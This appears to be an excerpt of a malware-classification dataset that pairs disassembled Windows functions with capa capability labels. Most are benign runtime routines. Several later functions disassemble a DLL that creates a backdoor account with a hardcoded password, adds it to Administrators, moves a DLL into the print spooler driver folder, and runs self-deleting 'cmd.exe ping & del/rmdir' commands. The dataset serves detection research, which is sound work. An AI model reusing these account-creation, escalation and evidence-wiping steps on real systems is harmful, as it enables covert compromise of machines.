joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004b8f0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x14004baa1
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x40], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.14000a060
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14004ba66
mov qword [rsp + 0x38], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rdi
xor r9, rdx
imul r9, rdi
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rbx
jne 0x14004b9e0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14004ba55
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x14004ba1d
mov r10, qword [rdx]
cmp r10, rax
je 0x14004ba17
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14004ba55
cmp r9, rdx
je 0x14004ba31
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x14004ba7b
cmp r9, rdx
jne 0x14004ba22
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x14004b990
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14004ba55
lea rcx, str.invalid_hash_bucket_count
call sub.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_
int3

Function at 0x14004c9c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004ca12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004ca12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004ca12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004ca12
cmp dword [rcx + 0x84], 0xe
jbe 0x14004ca12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004ca14
xor al, al
add rsp, 0x28
ret
Function at 0x14015d730
Capabilities:
Query environment variable

Disassembly:
push r14
mov eax, 0x10080
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1401c1fc0
sub rsp, rax
xor eax, eax
xor edx, edx
xor esi, esi
mov r14d, 0x28
movzx edi, byte [rcx]
mov word [rsp + 0x30], dx
lea rbp, [rsp + 0x30]
test dil, dil
mov r12, rcx
mov word [rsp + 0x80], ax
lea r13, [rsp + 0x2e]
je 0x14015d7d9
nop dword [rax]
lea rbx, [rbp + rsi*2]
mov rax, r14
sub rax, rsi
cmp word [rbp + rsi*2], 0
je 0x14015d79e
nop dword [rax + rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x14015d790
test rax, rax
je 0x1401c341e
mov rcx, rbx
add rsi, 1
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
mov r8d, 2
mov rdx, r13
mov byte [rsp + 0x2e], dil
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs
movzx edi, byte [r12 + rsi]
test dil, dil
jne 0x14015d778
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, rbp
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x14015d808
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsdup
add rsp, 0x10080
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x14015d820
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
xor eax, eax
xor esi, esi
mov r13d, 0x28
movzx r15d, byte [rcx]
test r15b, r15b
mov rbp, rcx
mov r14, rdx
mov word [rsp + 0x30], ax
lea rdi, [rsp + 0x30]
lea r12, [rsp + 0x2e]
je 0x14015d8c2
nop dword [rax + rax]
lea rbx, [rdi + rsi*2]
mov rax, r13
sub rax, rsi
cmp word [rdi + rsi*2], 0
je 0x14015d886
nop dword [rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x14015d878
test rax, rax
je 0x1401c3424
mov rcx, rbx
add rsi, 1
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
mov r8d, 2
mov rdx, r12
mov byte [rsp + 0x2e], r15b
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs
movzx r15d, byte [rbp + rsi]
test r15b, r15b
jne 0x14015d860
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1401bef50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp byte [0x1401f4f59], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x1401befd8
lea rdx, [0x1401d4f8a]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1401bf040
mov rbx, qword [0x1401f4e18]
jmp 0x1401bef95
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test esi, esi
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
jne 0x1401bef90
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.1401ad530
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1401f4e18], rax
mov ebx, dword [rax]
mov qword [0x1401f4e18], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1401f4e18], rdx
call fcn.1401be080
cmp eax, ebx
jne 0x1401bf0da
mov byte [0x1401f4f59], 1
jmp 0x1401bef6e
cmp byte [0x1401f4f58], 0
jne 0x1401bef85
mov rbx, qword [sym.imp.python37.dll_PyDict_New]
lea rsi, [0x1401f4608]
call rbx
mov qword [0x1401f5888], rax
call rbx
mov qword [0x1401f5880], rax
call rbx
mov qword [0x1401f5878], rax
call rbx
mov qword [0x1401f5870], rax
call rbx
mov qword [0x1401f5868], rax
call rbx
mov qword [0x1401f5860], rax
call rbx
mov qword [0x1401f5858], rax
call rbx
mov r13, qword [sym.imp.python37.dll_PyLong_FromLong]
mov rbx, 0xfffffffffffffffb
mov qword [0x1401f5850], rax
nop dword [rax]
mov ecx, ebx
call r13
mov qword [rsi + rbx*8], rax
add rbx, 1
cmp rbx, 0x101
jne 0x1401bf0b8
mov byte [0x1401f4f58], 1
jmp 0x1401bef85
lea rcx, str.Error__corrupted_constants_object
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1401c1200
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1401c2d30
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x1401c1270
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1401f5c84]
test esi, esi
mov rbx, rcx
jle 0x1401c13a0
mov rax, qword [0x1401f5c88]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1401c12bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1401c1345
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1401c12a0
mov rcx, rbx
call fcn.1401c1ce0
test rax, rax
mov rdi, rax
je 0x1401c13c2
mov rax, qword [0x1401f5c88]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1401c1e20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401f5c88]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1401c13a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1401c133e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1401c1350
add dword [0x1401f5c84], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1401f5c88]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1401c133e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1401c1200
nop dword [rax]
xor esi, esi
jmp 0x1401c12c8
mov rax, qword [0x1401f5c88]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1401c1200
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1401c1200
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1401c1930
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401f5ce0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401f5cc0]
test rbx, rbx
je 0x1401c198c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1401c1983
test rsi, rsi
je 0x1401c1983
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1401c1968
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1401c1ba0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1401c1bd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1401c1be0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1401c1bb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1401c1bd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1401c1be0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1401c1bc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1401c1bd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1401c1be0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1401c1ce0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401d8580]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1401c1d00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1401c1d08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1401c1d00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1401c1d5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1401c1d54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1401c1d00
add rax, 0x28
cmp rax, r9
jne 0x1401c1d40
xor eax, eax
ret

Function at 0x1401c1d60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401d8580]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1401c1d7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1401c1d88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1401c1d7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1401c1e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401d8580]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1401c1e3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1401c1e48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140001c4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c96
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c98
xor al, al
add rsp, 0x28
ret
Function at 0x180001df0
Capabilities:
Create process on windows
Self delete

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x110
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rsp + 0x100], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x90], xmm0
mov rbx, rcx
mov qword [r11 - 0x28], rax
lea rcx, str.DELETING_DIR_n
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.180001080
xor edi, edi
mov qword [rsp + 0x80], 7
mov qword [rsp + 0x68], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x78], rdi
inc r8
cmp word [rbx + r8*2], di
jne 0x180001e73
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.180003e10
cmp qword [rsp + 0x80], 8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x68]
cmovae rdx, qword [rsp + 0x68]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, str.DELETING_DIR_n
call fcn.180001080
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x180001f3c
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001f37
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001f5d
call fcn.180005e70
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.180005e50
mov rbx, qword [rsp + 0x128]
add rsp, 0x110
pop rdi
ret
call fcn.18000ef68
int3
Function at 0x180001f70
Capabilities:
Create process on windows
Create process suspended
Move file
Self delete

Disassembly:
sub rsp, 0x508
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xorps xmm0, xmm0
lea r9, str.C:WindowsSystem32_spooldriversx64367jEj.dll
xor eax, eax
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
mov edx, 0x208
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.1800010e0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, str.C:WindowsSystem32_spooldriversx64367jEj.dll
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180005e50
add rsp, 0x508
ret

Function at 0x180002070
Capabilities:
Add user account to group
Get user security identifier

Disassembly:
sub rsp, 0x568
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rsp + 0x550], rax
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x48], pe_nt_image_headers64
lea rcx, str.S_1_5_32_544
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x180002183
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x560], rbx
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x150]
lea rax, [rsp + 0x350]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
mov rbx, qword [rsp + 0x560]
je 0x180002183
lea rax, [rsp + 0x4c]
mov dword [rsp + 0x48], pe_nt_image_headers64
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x48]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x350]
lea rdx, str.pentera_OpeXkwy5o2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x180002183
lea r8, [rsp + 0x50]
xor ecx, ecx
lea rdx, [rsp + 0x150]
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMember]
test eax, eax
jne 0x180002183
mov eax, 1
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.180005e50
add rsp, 0x568
ret
xor eax, eax
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.180005e50
add rsp, 0x568
ret
Function at 0x180002630
Capabilities:
Add user account
Check mutex on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rsp + 0x58], rax
sub edx, 1
je 0x180002651
cmp edx, 1
jne 0x180002705
lea r8, str.GlobalE6BsL3szxl1i84LpoxSL
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180002705
xor eax, eax
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x30], eax
lea r8, [rsp + 0x20]
mov qword [rsp + 0x4c], rax
xor r9d, r9d
mov dword [rsp + 0x54], eax
xorps xmm0, xmm0
lea rax, str.pentera_OpeXkwy5o2
mov dword [rsp + 0x48], 0x10000
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea rax, str.u3TE58zbjcCRzF
lea edx, [r9 + 1]
mov qword [rsp + 0x28], rax
movdqu xmmword [rsp + 0x38], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1800373b8]
call fcn.180001080
call fcn.180002070
call fcn.1800021a0
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643Old
call fcn.180001df0
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643New
call fcn.180001df0
call fcn.180001f70
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180005e50
add rsp, 0x68
ret
Function at 0x180002b20
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x180002b42
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x180002bbc
mov rdi, r14
mov rcx, rbx
call fcn.180003ba0
test rax, rax
jle 0x180002b94
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180007df0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x180002bac
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180002bb4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x180002b56
sub r14, rdi
jmp 0x180002ca9
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180002bd3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180002bd5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180002c0a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180007df0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180002ca6
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x180002c45
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x180002c81
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180010284
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x180002cbf
cmp rbp, rax
ja 0x180002c51
mov r8, rdi
test rdi, rdi
je 0x180002ca6
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180010284
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x180002ca9
Function at 0x1800030c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18003c060]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1800030ed
xor eax, eax
jmp 0x180003233
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180003127
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180003127
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180003233
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180003226
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18000316a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180003179
movsx ecx, dil
jmp 0x1800031cd
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
